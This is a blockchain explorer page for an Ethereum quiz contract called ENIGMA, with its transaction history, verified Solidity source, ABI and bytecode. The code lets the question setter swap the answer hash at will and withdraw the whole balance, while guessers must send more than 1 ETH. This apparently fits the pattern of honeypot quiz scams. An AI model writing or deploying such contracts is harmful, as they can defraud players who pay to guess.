ETH Price: $2,721.72 (+4.27%)

Contract

0xb68D982B913C0a5E999c32a5952E6df1cA43d336
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop Game74980652019-04-03 22:56:142142 days ago1554332174IN
0xb68D982B...1cA43d336
0 ETH0.00002961
Activate74863352019-04-02 2:28:232143 days ago1554172103IN
0xb68D982B...1cA43d336
0 ETH0.000077063
Activate74863092019-04-02 2:23:022143 days ago1554171782IN
0xb68D982B...1cA43d336
0 ETH0.0005651522
Activate74841782019-04-01 18:25:172144 days ago1554143117IN
0xb68D982B...1cA43d336
0 ETH0.000094564
Stop Game74841322019-04-01 18:16:142144 days ago1554142574IN
0xb68D982B...1cA43d336
0 ETH0.000086844
Activate74841272019-04-01 18:15:232144 days ago1554142523IN
0xb68D982B...1cA43d336
0 ETH0.000095074
Activate74841162019-04-01 18:11:502144 days ago1554142310IN
0xb68D982B...1cA43d336
0 ETH0.000077063
Activate74834802019-04-01 15:53:102144 days ago1554133990IN
0xb68D982B...1cA43d336
4 ETH0.00002761

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
74980652019-04-03 22:56:142142 days ago1554332174
0xb68D982B...1cA43d336
4 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ENIGMA

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-04-01
*/

pragma solidity ^0.4.25;

contract ENIGMA
{

    function Try(string _response) external payable {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    address questionSender;

    bytes32 responseHash;

    bytes32 questionerPin = 0x39dd88e9ab4591cdc8d0422dd329ca596105691dd7eee6c026e2393fe705d688;

    function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }

    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }

    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }

    function() public payable{}
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_questionerPin","type":"bytes32"},{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Activate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newAddress","type":"address"}],"name":"newQuestioner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

60806040527f39dd88e9ab4591cdc8d0422dd329ca596105691dd7eee6c026e2393fe705d68860035534801561003457600080fd5b5061058e806100446000396000f3006080604052600436106100775763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c81146100795780633afdbd831461008c5780633e3ee8591461011b5780633fad9ae01461016957806359988dce146101f3578063f50ab24714610221575b005b6100776004803560248101910135610229565b60408051602060046024803582810135601f810185900485028601850190965285855261007795833595369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506102a29650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261007794369492936024939284019190819084018382808284375094975050933594506103559350505050565b34801561017557600080fd5b5061017e61038f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b85781810151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ff57600080fd5b5061007773ffffffffffffffffffffffffffffffffffffffff6004351661041d565b610077610476565b33321461023557600080fd5b8181604051808383808284376040519201829003909120600254149350508215915061026a90505750670de0b6b3a764000034115b1561029e576040513390303180156108fc02916000818181858888f1935050505015801561029c573d6000803e3d6000fd5b505b5050565b600354604080518581529051908190036020019020141561029c57806040518082805190602001908083835b602083106102ed5780518252601f1990920191602091820191016102ce565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161032b935060009250908501906104c7565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790556000600355505050565b60015473ffffffffffffffffffffffffffffffffffffffff1633141561029e5781516103889060009060208501906104c7565b5060025550565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104155780601f106103ea57610100808354040283529160200191610415565b820191906000526020600020905b8154815290600101906020018083116103f857829003601f168201915b505050505081565b60015473ffffffffffffffffffffffffffffffffffffffff16331415610473576001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b60015473ffffffffffffffffffffffffffffffffffffffff16331461049a57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610473573d6000803e3d6000fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061050857805160ff1916838001178555610535565b82800160010185558215610535579182015b8281111561053557825182559160200191906001019061051a565b50610541929150610545565b5090565b61055f91905b80821115610541576000815560010161054b565b905600a165627a7a72305820a8baddeafa8c8b06de7ada43b7f6803ff0516c481bca5a4c473059d4d07a59d20029

Deployed Bytecode

0x6080604052600436106100775763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c81146100795780633afdbd831461008c5780633e3ee8591461011b5780633fad9ae01461016957806359988dce146101f3578063f50ab24714610221575b005b6100776004803560248101910135610229565b60408051602060046024803582810135601f810185900485028601850190965285855261007795833595369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506102a29650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261007794369492936024939284019190819084018382808284375094975050933594506103559350505050565b34801561017557600080fd5b5061017e61038f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b85781810151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ff57600080fd5b5061007773ffffffffffffffffffffffffffffffffffffffff6004351661041d565b610077610476565b33321461023557600080fd5b8181604051808383808284376040519201829003909120600254149350508215915061026a90505750670de0b6b3a764000034115b1561029e576040513390303180156108fc02916000818181858888f1935050505015801561029c573d6000803e3d6000fd5b505b5050565b600354604080518581529051908190036020019020141561029c57806040518082805190602001908083835b602083106102ed5780518252601f1990920191602091820191016102ce565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161032b935060009250908501906104c7565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790556000600355505050565b60015473ffffffffffffffffffffffffffffffffffffffff1633141561029e5781516103889060009060208501906104c7565b5060025550565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104155780601f106103ea57610100808354040283529160200191610415565b820191906000526020600020905b8154815290600101906020018083116103f857829003601f168201915b505050505081565b60015473ffffffffffffffffffffffffffffffffffffffff16331415610473576001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b60015473ffffffffffffffffffffffffffffffffffffffff16331461049a57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610473573d6000803e3d6000fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061050857805160ff1916838001178555610535565b82800160010185558215610535579182015b8281111561053557825182559160200191906001019061051a565b50610541929150610545565b5090565b61055f91905b80821115610541576000815560010161054b565b905600a165627a7a72305820a8baddeafa8c8b06de7ada43b7f6803ff0516c481bca5a4c473059d4d07a59d20029

Swarm Source

bzzr://a8baddeafa8c8b06de7ada43b7f6803ff0516c481bca5a4c473059d4d07a59d2

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.